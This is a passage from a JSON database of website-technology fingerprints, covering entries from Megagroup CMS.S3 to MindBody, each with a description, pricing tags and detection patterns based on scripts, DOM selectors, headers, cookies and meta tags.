\"a[href*='bookmenow.info/book']\"\n    ],\n    \"icon\": \"Meeting Scheduler.svg\",\n    \"scriptSrc\": [\n      \"bookmenow\\\\.info/(?:runtime|main).+\\\\.js\"\n    ],\n    \"website\": \"https://bookmenow.info\"\n  },\n  \"Megagroup CMS.S3\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Megagroup CMS.S3 management system is provided not as a “boxed product”, but as a separate service, that is, it works using SaaS technology. This means that you manage your site directly through your browser using an intuitive interface.\",\n    \"icon\": \"Megagroup.svg\",\n    \"js\": {\n      \"megacounter_key\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://megagroup.ru/cms\"\n  },\n  \"Meilisearch\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Meilisearch is a search engine created by Meili, a software development company based in France.\",\n    \"dom\": [\n      \"span.meilisearch-autocomplete\"\n    ],\n    \"icon\": \"Meilisearch.svg\",\n    \"js\": {\n      \"MeiliSearch\": \"\",\n      \"MeiliSearchApiError\": \"\",\n      \"MeiliSearchTimeOutError\": \"\",\n      \"ac_apsulis_meilisearch\": \"\",\n      \"instantMeiliSearch\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.meilisearch.com\"\n  },\n  \"Meks Simple Flickr Widget\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Meks Simple Flickr Widget is a WordPress plugin created by Meks. This plugin is designed to help WordPress website owners easily integrate Flickr photo streams into their websites.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/meks-simple-flickr-widget/'], link#meks-flickr-widget-css\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/meks-simple-flickr-widget\"\n  },\n  \"Melis Platform\": {\n    \"cats\": [\n      1,\n      6,\n      11,\n      32\n    ],\n    \"cpe\": \"cpe:2.3:a:melisplatform:melisplatform:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<!-- Rendered with Melis CMS V2\",\n      \"<!-- Rendered with Melis Platform\"\n    ],\n    \"icon\": \"melis-platform.svg\",\n    \"implies\": [\n      \"Apache HTTP Server\",\n      \"PHP\",\n      \"MySQL\",\n      \"Symfony\",\n      \"Laravel\",\n      \"Zend\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Melis Platform\\\\.\",\n      \"powered-by\": \"^Melis CMS\\\\.\"\n    },\n    \"website\": \"https://www.melistechnology.com/\"\n  },\n  \"MemberSpace\": {\n    \"cats\": [\n      19,\n      41\n    ],\n    \"description\": \"MemberSpace is a cloud-based membership solution, which allows users to provide role-based access to content.\",\n    \"icon\": \"MemberSpace.svg\",\n    \"js\": {\n      \"MemberSpace\": \"\",\n      \"MemberSpaceParams\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"memberspace\\\\.com(?:\\\\/widget)?(?:\\\\/\\\\w{0,25})?(?:\\\\/scripts)?(?:\\\\/widgets)?(?:\\\\/main)?\\\\.js\"\n    ],\n    \"website\": \"https://www.memberspace.com\"\n  },\n  \"MemberStack\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"memberstack\": \"\"\n    },\n    \"description\": \"MemberStack is a no-code membership platform for Webflow.\",\n    \"icon\": \"MemberStack.svg\",\n    \"js\": {\n      \"MemberStack\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"memberstack\\\\.js\"\n    ],\n    \"url\": [\n      \"^https?//.+\\\\.memberstack\\\\.io\"\n    ],\n    \"website\": \"https://www.memberstack.io\"\n  },\n  \"Mendix\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Mendix is a low-code platform utilized by businesses for development of mobile and web applications at scale.\",\n    \"dom\": [\n      \"script[type='mendix/widget']\"\n    ],\n    \"icon\": \"Mendix.svg\",\n    \"js\": {\n      \"CKEditorForMendix\": \"\",\n      \"mendix\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mendix.com\"\n  },\n  \"Mention Me\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Mention Me is a referral marketing platform for conversion-obsessed ecommerce brands.\",\n    \"icon\": \"Mention Me.svg\",\n    \"js\": {\n      \"MentionMe\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mention-me\\\\.com/\"\n    ],\n    \"website\": \"https://www.mention-me.com\"\n  },\n  \"Menufy Online Ordering\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Menufy is an online and mobile meal ordering service.\",\n    \"dom\": [\n      \"a[href*='.menufy.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Menufy.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://restaurant.menufy.com\"\n  },\n  \"Menufy Website\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Menufy is an online and mobile meal ordering service.\",\n    \"icon\": \"Menufy.svg\",\n    \"js\": {\n      \"Views_Website_Layouts_Footer_Menufy\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sitecontent-menufycom\\\\.netdna-ssl\\\\.com/\"\n    ],\n    \"website\": \"https://restaurant.menufy.com\"\n  },\n  \"Mercado Shops\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_mshops_ga_gid\": \"\"\n    },\n    \"description\": \"Mercado Shops is an all-in-one ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='.mercadolibre.com']\"\n    ],\n    \"icon\": \"Mercado Shops.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"frontend-assets/mshops-web-home/vendor\"\n    ],\n    \"website\": \"https://www.mercadoshops.com\"\n  },\n  \"Mercer\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Mercer is a platform that supports companies in transforming talent, health, retirement, and investment strategies to enhance overall performance and outcomes.\",\n    \"icon\": \"Mercer.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"career-analytics\\\\.mercer\\\\.com/\"\n    ],\n    \"website\": \"https://www.mercer.com\"\n  },\n  \"Merit\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Merit is a platform tailored for higher education marketing.\",\n    \"icon\": \"Merit.svg\",\n    \"js\": {\n      \"meritPages\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.meritpages\\\\.com/\"\n    ],\n    \"website\": \"https://www.meritpages.com\"\n  },\n  \"Mermaid\": {\n    \"cats\": [\n      25\n    ],\n    \"html\": [\n      \"<div [^>]*class=[\\\"']mermaid[\\\"']>\\\\;confidence:90\"\n    ],\n    \"js\": {\n      \"mermaid\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/mermaid(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://mermaidjs.github.io/\"\n  },\n  \"Mesmerize Companion\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"The Mesmerize Companion is a WordPress plugin that enhances the Mesmerize theme by adding drag-and-drop page builder functionality.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/mesmerize-companion/'], link#companion-bundle-css\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"mesmerize-companion\\\\/theme-data\\\\/mesmerize\\\\/assets\\\\/js\\\\/companion(?:\\\\.bundle)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/mesmerize-companion\"\n  },\n  \"MetaSlider\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"MetaSlider is a WordPress plugin for adding responsive sliders and carousels to websites.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/ml-slider/'], link#metaslider-pro-public-css\"\n    ],\n    \"icon\": \"MetaSlider.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/ml-slider(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.metaslider.com\"\n  },\n  \"Meteor\": {\n    \"cats\": [\n      12,\n      18\n    ],\n    \"description\": \"Meteor is a JavaScript-based platform used for developing web and mobile applications with a unified language across all layers of the application stack.\",\n    \"dom\": [\n      \"link.__meteor-css__\"\n    ],\n    \"html\": [\n      \"<link[^>]+__meteor-css__\"\n    ],\n    \"icon\": \"Meteor.svg\",\n    \"implies\": [\n      \"MongoDB\",\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"Meteor\": \"\",\n      \"Meteor.release\": \"^METEOR@([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.meteor.com\"\n  },\n  \"Methode\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<!-- Methode uuid: \\\"[a-f\\\\d]+\\\" ?-->\"\n    ],\n    \"icon\": \"Methode.png\",\n    \"meta\": {\n      \"eomportal-id\": \"\\\\d+\",\n      \"eomportal-instanceid\": \"\\\\d+\",\n      \"eomportal-lastUpdate\": \"\",\n      \"eomportal-loid\": \"[\\\\d.]+\",\n      \"eomportal-uuid\": \"[a-f\\\\d]+\"\n    },\n    \"website\": \"https://www.eidosmedia.com/\"\n  },\n  \"Metomic\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Metomic is a platform that helps businesses manage and comply with data privacy regulations, offering tools for consent management, data governance, and compliance with data privacy laws such as GDPR and CCPA.\",\n    \"dom\": [\n      \"link[href*='.metomic.io']\"\n    ],\n    \"icon\": \"metomic.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"metomic\\\\.js\"\n    ],\n    \"website\": \"https://metomic.io\"\n  },\n  \"MetricsCube\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"METRICSCUBE_ANALITYCS\": \"\"\n    },\n    \"description\": \"MetricsCube is a WHMCS-integrated business analysis platform, offering real-time stats and reports.\",\n    \"dom\": [\n      \"script#metricscubestats\"\n    ],\n    \"icon\": \"MetricsCube.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.metricscube\\\\.io\"\n    ],\n    \"website\": \"https://www.metricscube.io\"\n  },\n  \"Metrilo\": {\n    \"cats\": [\n      10,\n      75\n    ],\n    \"description\": \"Metrilo is an ecommerce analytics, email marketing software provider.\",\n    \"icon\": \"Metrilo.svg\",\n    \"js\": {\n      \"metrilo\": \"\",\n      \"metriloBotRegexp\": \"\",\n      \"metriloCookie\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.metrilo\\\\.com/\"\n    ],\n    \"website\": \"https://www.metrilo.com\"\n  },\n  \"Metro CreativeX\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Metro CreativeX is a free WordPress theme with a fully responsive design.\",\n    \"icon\": \"MetroCreativeX.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/themes/metro-creativex/js/.*\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://themeisle.com/themes/metrox/\"\n  },\n  \"MetroUI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"MetroUI is an open-source frontend toolkit inspired by Microsoft Fluent (former Metro) design principles.\",\n    \"dom\": {\n      \"link[href*='//cdn.metroui.org.ua/']\": {\n        \"attributes\": {\n          \"href\": \"//cdn\\\\.metroui\\\\.org\\\\.ua/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"Metro.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://github.com/olton/Metro-UI-CSS\"\n  },\n  \"Metronet Profile Picture\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Set a custom profile image for a user using the standard WordPress media upload tool.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/metronet-profile-picture/']\"\n    ],\n    \"icon\": \"Metronet Profile Picture.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"metronet-profile-picture(?:\\\\/js)?(?:\\\\/mpp-frontend)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/metronet-profile-picture/\"\n  },\n  \"Mews\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Mews is a hospitalitions service that enables hotels to track their bookings.\",\n    \"dom\": [\n      \"a[href*='.mews.li/'][target='_blank']\"\n    ],\n    \"icon\": \"Mews.svg\",\n    \"js\": {\n      \"Mews\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mews\\\\.li/\"\n    ],\n    \"website\": \"https://www.mews.com\"\n  },\n  \"Mezereon\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Mezereon is an AI-powered platform that provides search, filters, insights, analytics, personalization, autocomplete, and recommendations to help businesses optimize their user experiences.\",\n    \"icon\": \"Mezereon.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.mezereon\\\\.net\"\n    ],\n    \"website\": \"https://www.mezereon.com\"\n  },\n  \"Mginex\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Mginex is an online store website creation platform.\",\n    \"icon\": \"Mginex.svg\",\n    \"meta\": {\n      \"description\": \"Mginex\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.mginex\\\\.com/\"\n    ],\n    \"website\": \"https://mginex.com\"\n  },\n  \"MichiJS\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"MichiJS is a library enabling the creation of web components using TSX.\",\n    \"dom\": [\n      \"michi-fragment > michi-fragment\"\n    ],\n    \"icon\": \"MichiJS.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://dev.michijs.com\",\n    \"xhr\": [\n      \"\\\\.michijs\\\\.com\"\n    ]\n  },\n  \"Microsoft 365\": {\n    \"cats\": [\n      30,\n      75\n    ],\n    \"description\": \"Microsoft 365 is a line of subscription services offered by Microsoft as part of the Microsoft Office product line.\",\n    \"dns\": {\n      \"MX\": [\n        \"outlook\\\\.com\"\n      ]\n    },\n    \"icon\": \"Microsoft 365.svg\",\n    \"website\": \"https://www.microsoft.com/microsoft-365\"\n  },\n  \"Microsoft ASP.NET\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"ASP.NET_SessionId\": \"\",\n      \"ASPSESSION\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:microsoft:asp.net:*:*:*:*:*:*:*:*\",\n    \"description\": \"ASP.NET is an open-source, server-side web-application framework designed for web development to produce dynamic web pages.\",\n    \"headers\": {\n      \"X-AspNet-Version\": \"(.+)\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"^ASP\\\\.NET\",\n      \"set-cookie\": \"\\\\.AspNetCore\"\n    },\n    \"html\": [\n      \"<input[^>]+name=\\\"__VIEWSTATE\"\n    ],\n    \"icon\": \"Microsoft ASP.NET.svg\",\n    \"url\": [\n      \"\\\\.aspx?(?:$|\\\\?)\"\n    ],\n    \"website\": \"https://www.asp.net\"\n  },\n  \"Microsoft Advertising\": {\n    \"cats\": [\n      36\n    ],\n    \"cookies\": {\n      \"_uetsid\": \"\\\\w+\",\n      \"_uetvid\": \"\\\\w+\"\n    },\n    \"description\": \"Microsoft Advertising is an online advertising platform developed by Microsoft.\",\n    \"dom\": [\n      \"link[href*='.bing.com']\"\n    ],\n    \"icon\": \"Microsoft.svg\",\n    \"js\": {\n      \"UET\": \"\",\n      \"uetq\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"bat\\\\.bing\\\\.com/bat\\\\.js\"\n    ],\n    \"website\": \"https://ads.microsoft.com\"\n  },\n  \"Microsoft Ajax Content Delivery Network\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Microsoft Ajax Content Delivery Network hosts popular third party JavaScript libraries such as jQuery and enables you to easily add them to your web applications.\",\n    \"icon\": \"Microsoft.svg\",\n    \"scriptSrc\": [\n      \"ajax\\\\.aspnetcdn\\\\.com/ajax/\"\n    ],\n    \"website\": \"https://docs.microsoft.com/en-us/aspnet/ajax/cdn/overview\"\n  },\n  \"Microsoft Application Insights\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Microsoft Application Insights is a feature of Azure Monitor that provides extensible application performance management (APM) and monitoring for live web apps.\",\n    \"icon\": \"Microsoft.svg\",\n    \"js\": {\n      \"appInsights.SeverityLevel\": \"\",\n      \"appInsights.addTelemetryInitializer\": \"\",\n      \"appInsightsSDK\": \"appInsights\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://docs.microsoft.com/en-us/azure/azure-monitor/app/app-insights-overview\"\n  },\n  \"Microsoft Authentication\": {\n    \"cats\": [\n      69,\n      59\n    ],\n    \"description\": \"The Microsoft Authentication Library for JavaScript enables both client-side and server-side JavaScript applications to authenticate users using Azure AD for work and school accounts (AAD), Microsoft personal accounts (MSA), and social identity providers like Facebook, Google, LinkedIn, Microsoft accounts, etc. through Azure AD B2C service.\",\n    \"icon\": \"Microsoft.svg\",\n    \"js\": {\n      \"Msal.Authority\": \"\",\n      \"msal.authorityInstance\": \"\",\n      \"msalConfig.auth\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/AzureAD/microsoft-authentication-library-for-js\"\n  },\n  \"Microsoft Azure Maps\": {\n    \"cats\": [\n      35,\n      79\n    ],\n    \"description\": \"Microsoft Azure Maps is a cloud-based mapping and geospatial platform provided by Microsoft.\",\n    \"icon\": \"Microsoft.svg\",\n    \"implies\": [\n      \"Azure\"\n    ],\n    \"meta\": {\n      \"enabled-features\": \"GEOJSON_AZURE_MAPS\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://azure.microsoft.com/en-us/products/azure-maps/\"\n  },\n  \"Microsoft Clarity\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Microsoft's Clarity is a analytics tool which provides website usage statistics, session recording, and heatmaps.\",\n    \"icon\": \"Microsoft Clarity.svg\",\n    \"js\": {\n      \"clarity\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.clarity\\\\.ms/.+/([\\\\d.]+)/clarity\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://clarity.microsoft.com\"\n  },\n  \"Microsoft Dynamics 365 Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Microsoft Dynamics 365 Commerce, an omnichannel ecommerce solution that allows you to build a website, connect physical and digital stores, track customer behaviours and requirements, deliver personalised experiences.\",\n    \"icon\": \"Microsoft.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"React\",\n      \"Azure\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dynamics365commerce\\\\.ms/\"\n    ],\n    \"website\": \"https://dynamics.microsoft.com/commerce/overview\"\n  },\n  \"Microsoft Excel\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:excel:*:*:*:*:*:*:*:*\",\n    \"description\": \"Microsoft Excel is an electronic spreadsheet program used for storing, organizing, and manipulating data.\",\n    \"html\": [\n      \"(?:<html [^>]*xmlns:w=\\\"urn:schemas-microsoft-com:office:excel\\\"|<!--\\\\s*(?:START|END) OF OUTPUT FROM EXCEL PUBLISH AS WEB PAGE WIZARD\\\\s*-->|<div [^>]*x:publishsource=\\\"?Excel\\\"?)\"\n    ],\n    \"icon\": \"Microsoft Excel.svg\",\n    \"meta\": {\n      \"ProgId\": \"^Excel\\\\.\",\n      \"generator\": \"Microsoft Excel( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://office.microsoft.com/excel\"\n  },\n  \"Microsoft HTTPAPI\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Microsoft HTTPAPI is a kernel-mode HTTP driver in the Windows operating system responsible for handling HTTP requests and responses with efficiency, scalability, and security.\",\n    \"headers\": {\n      \"Server\": \"Microsoft-HTTPAPI(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Microsoft.svg\",\n    \"oss\": false,\n    \"saas\": false,\n    \"website\": \"https://learn.microsoft.com/en-us/windows/win32/http/http-api-start-page\"\n  },\n  \"Microsoft PowerPoint\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:powerpoint:*:*:*:*:*:*:*:*\",\n    \"description\": \"Microsoft PowerPoint is a tool to create presentations using simple drag and drop tools.\",\n    \"html\": [\n      \"(?:<html [^>]*xmlns:w=\\\"urn:schemas-microsoft-com:office:powerpoint\\\"|<link rel=\\\"?Presentation-XML\\\"? href=\\\"?[^\\\"]+\\\\.xml\\\"?>|<o:PresentationFormat>[^<]+</o:PresentationFormat>[^!]+<o:Slides>\\\\d+</o:Slides>(?:[^!]+<o:Version>([\\\\d.]+)</o:Version>)?)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Microsoft PowerPoint.svg\",\n    \"meta\": {\n      \"ProgId\": \"^PowerPoint\\\\.\",\n      \"generator\": \"Microsoft PowerPoint ( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://office.microsoft.com/powerpoint\"\n  },\n  \"Microsoft Publisher\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:publisher:*:*:*:*:*:*:*:*\",\n    \"description\": \"Microsoft Publisher is an application that allows you to create professional documents such as newsletters, postcards, flyers, invitations, brochures.\",\n    \"html\": [\n      \"(?:<html [^>]*xmlns:w=\\\"urn:schemas-microsoft-com:office:publisher\\\"|<!--[if pub]><xml>)\"\n    ],\n    \"icon\": \"Microsoft Publisher.svg\",\n    \"meta\": {\n      \"ProgId\": \"^Publisher\\\\.\",\n      \"generator\": \"Microsoft Publisher( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://office.microsoft.com/publisher\"\n  },\n  \"Microsoft SharePoint\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"SharePoint is a cloud-based collaborative platform to manage and share content.\",\n    \"headers\": {\n      \"MicrosoftSharePointTeamServices\": \"^(.+)$\\\\;version:\\\\1\",\n      \"SPRequestGuid\": \"\",\n      \"SharePointHealthScore\": \"\",\n      \"X-SharePointHealthScore\": \"\"\n    },\n    \"icon\": \"Microsoft SharePoint.svg\",\n    \"js\": {\n      \"SPDesignerProgID\": \"\",\n      \"_spBodyOnLoadCalled\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Microsoft SharePoint\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sharepoint.microsoft.com\"\n  },\n  \"Microsoft Visual Studio\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Microsoft Visual Studio is an integrated development environment from Microsoft.\",\n    \"icon\": \"Microsoft Visual Studio.svg\",\n    \"meta\": {\n      \"generator\": \"^Microsoft\\\\sVisual\\\\sStudio\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://visualstudio.microsoft.com\"\n  },\n  \"Microsoft Word\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:word:*:*:*:*:*:*:*:*\",\n    \"description\": \"MS Word is a word-processing program used primarily for creating documents.\",\n    \"html\": [\n      \"(?:<html [^>]*xmlns:w=\\\"urn:schemas-microsoft-com:office:word\\\"|<w:WordDocument>|<div [^>]*class=\\\"?WordSection1[\\\" >]|<style[^>]*>[^>]*@page WordSection1)\"\n    ],\n    \"icon\": \"Microsoft Word.svg\",\n    \"meta\": {\n      \"ProgId\": \"^Word\\\\.\",\n      \"generator\": \"Microsoft Word( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://office.microsoft.com/word\"\n  },\n  \"Microweber\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*\",\n    \"description\": \"Open Source drag and drop style hosted CMS system.\",\n    \"dom\": [\n      \"meta[content='Microweber']\"\n    ],\n    \"icon\": \"Microweber.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"[Mm]icroweber(?:\\\\/includes)?(?:\\\\/api)?(?:\\\\/libs)?[\\\\w\\\\.\\\\/-]{0,45}(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://microweber.com\"\n  },\n  \"Miestro\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Miestro is an all-in-one ecommerce platform wich allow create online course and membership sites.\",\n    \"icon\": \"Miestro.svg\",\n    \"meta\": {\n      \"base_url\": \".+\\\\.miestro\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.miestro\\\\.com\"\n    ],\n    \"website\": \"https://miestro.com\"\n  },\n  \"Mighty Network\": {\n    \"cats\": [\n      2,\n      21\n    ],\n    \"description\": \"Mighty Networks is a platform that facilitates the creation and management of online communities, offering customisable websites, discussion forums, member profiles, events, courses, and multimedia content sharing for individuals and organisations.\",\n    \"icon\": \"Mighty Network.svg\",\n    \"implies\": [\n      \"Ruby on Rails\",\n      \"Ruby\"\n    ],\n    \"js\": {\n      \"Mighty.BroadcastBotApp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mightynetworks.com\"\n  },\n  \"Mile.tech\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Mile.tech is a digital media products company that provides a suite of programmatic monetisation solutions.\",\n    \"icon\": \"Mile.tech.svg\",\n    \"scriptSrc\": [\n      \"//go\\\\.automatad\\\\.com/\"\n    ],\n    \"website\": \"https://www.mile.tech\"\n  },\n  \"Milestone CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Milestone CMS is a SEO-first CMS that offers built-in advanced schema markups and Core Web Vitals conformance for improved search performance.\",\n    \"icon\": \"Milestone.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Milestone\\\\sCMS\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.milestoneinternet.com/products/milestone-cms\"\n  },\n  \"Milligram\": {\n    \"cats\": [\n      66\n    ],\n    \"html\": [\n      \"<link[^>]+?href=\\\"[^\\\"]+milligram(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"Milligram.svg\",\n    \"website\": \"https://milligram.io\"\n  },\n  \"MinMaxify\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"MinMaxify is an app that allows Shopify store owners to set minimum and maximum values for customer orders built by Intillium.\",\n    \"icon\": \"MinMaxify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"minMaxify.checkLimits\": \"\",\n      \"minMaxify.shop\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/order-limits-minmaxify\"\n  },\n  \"MindBody\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Mindbody is a (SaaS) company that provides cloud-based online scheduling and other business management software for the wellness services industry.\",\n    \"icon\": \"MindBody.svg\",\n    \"js\": {\n      \"HealcodeWidget\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\w+\\\\.healcode\\\\.com\"\n    ],\n    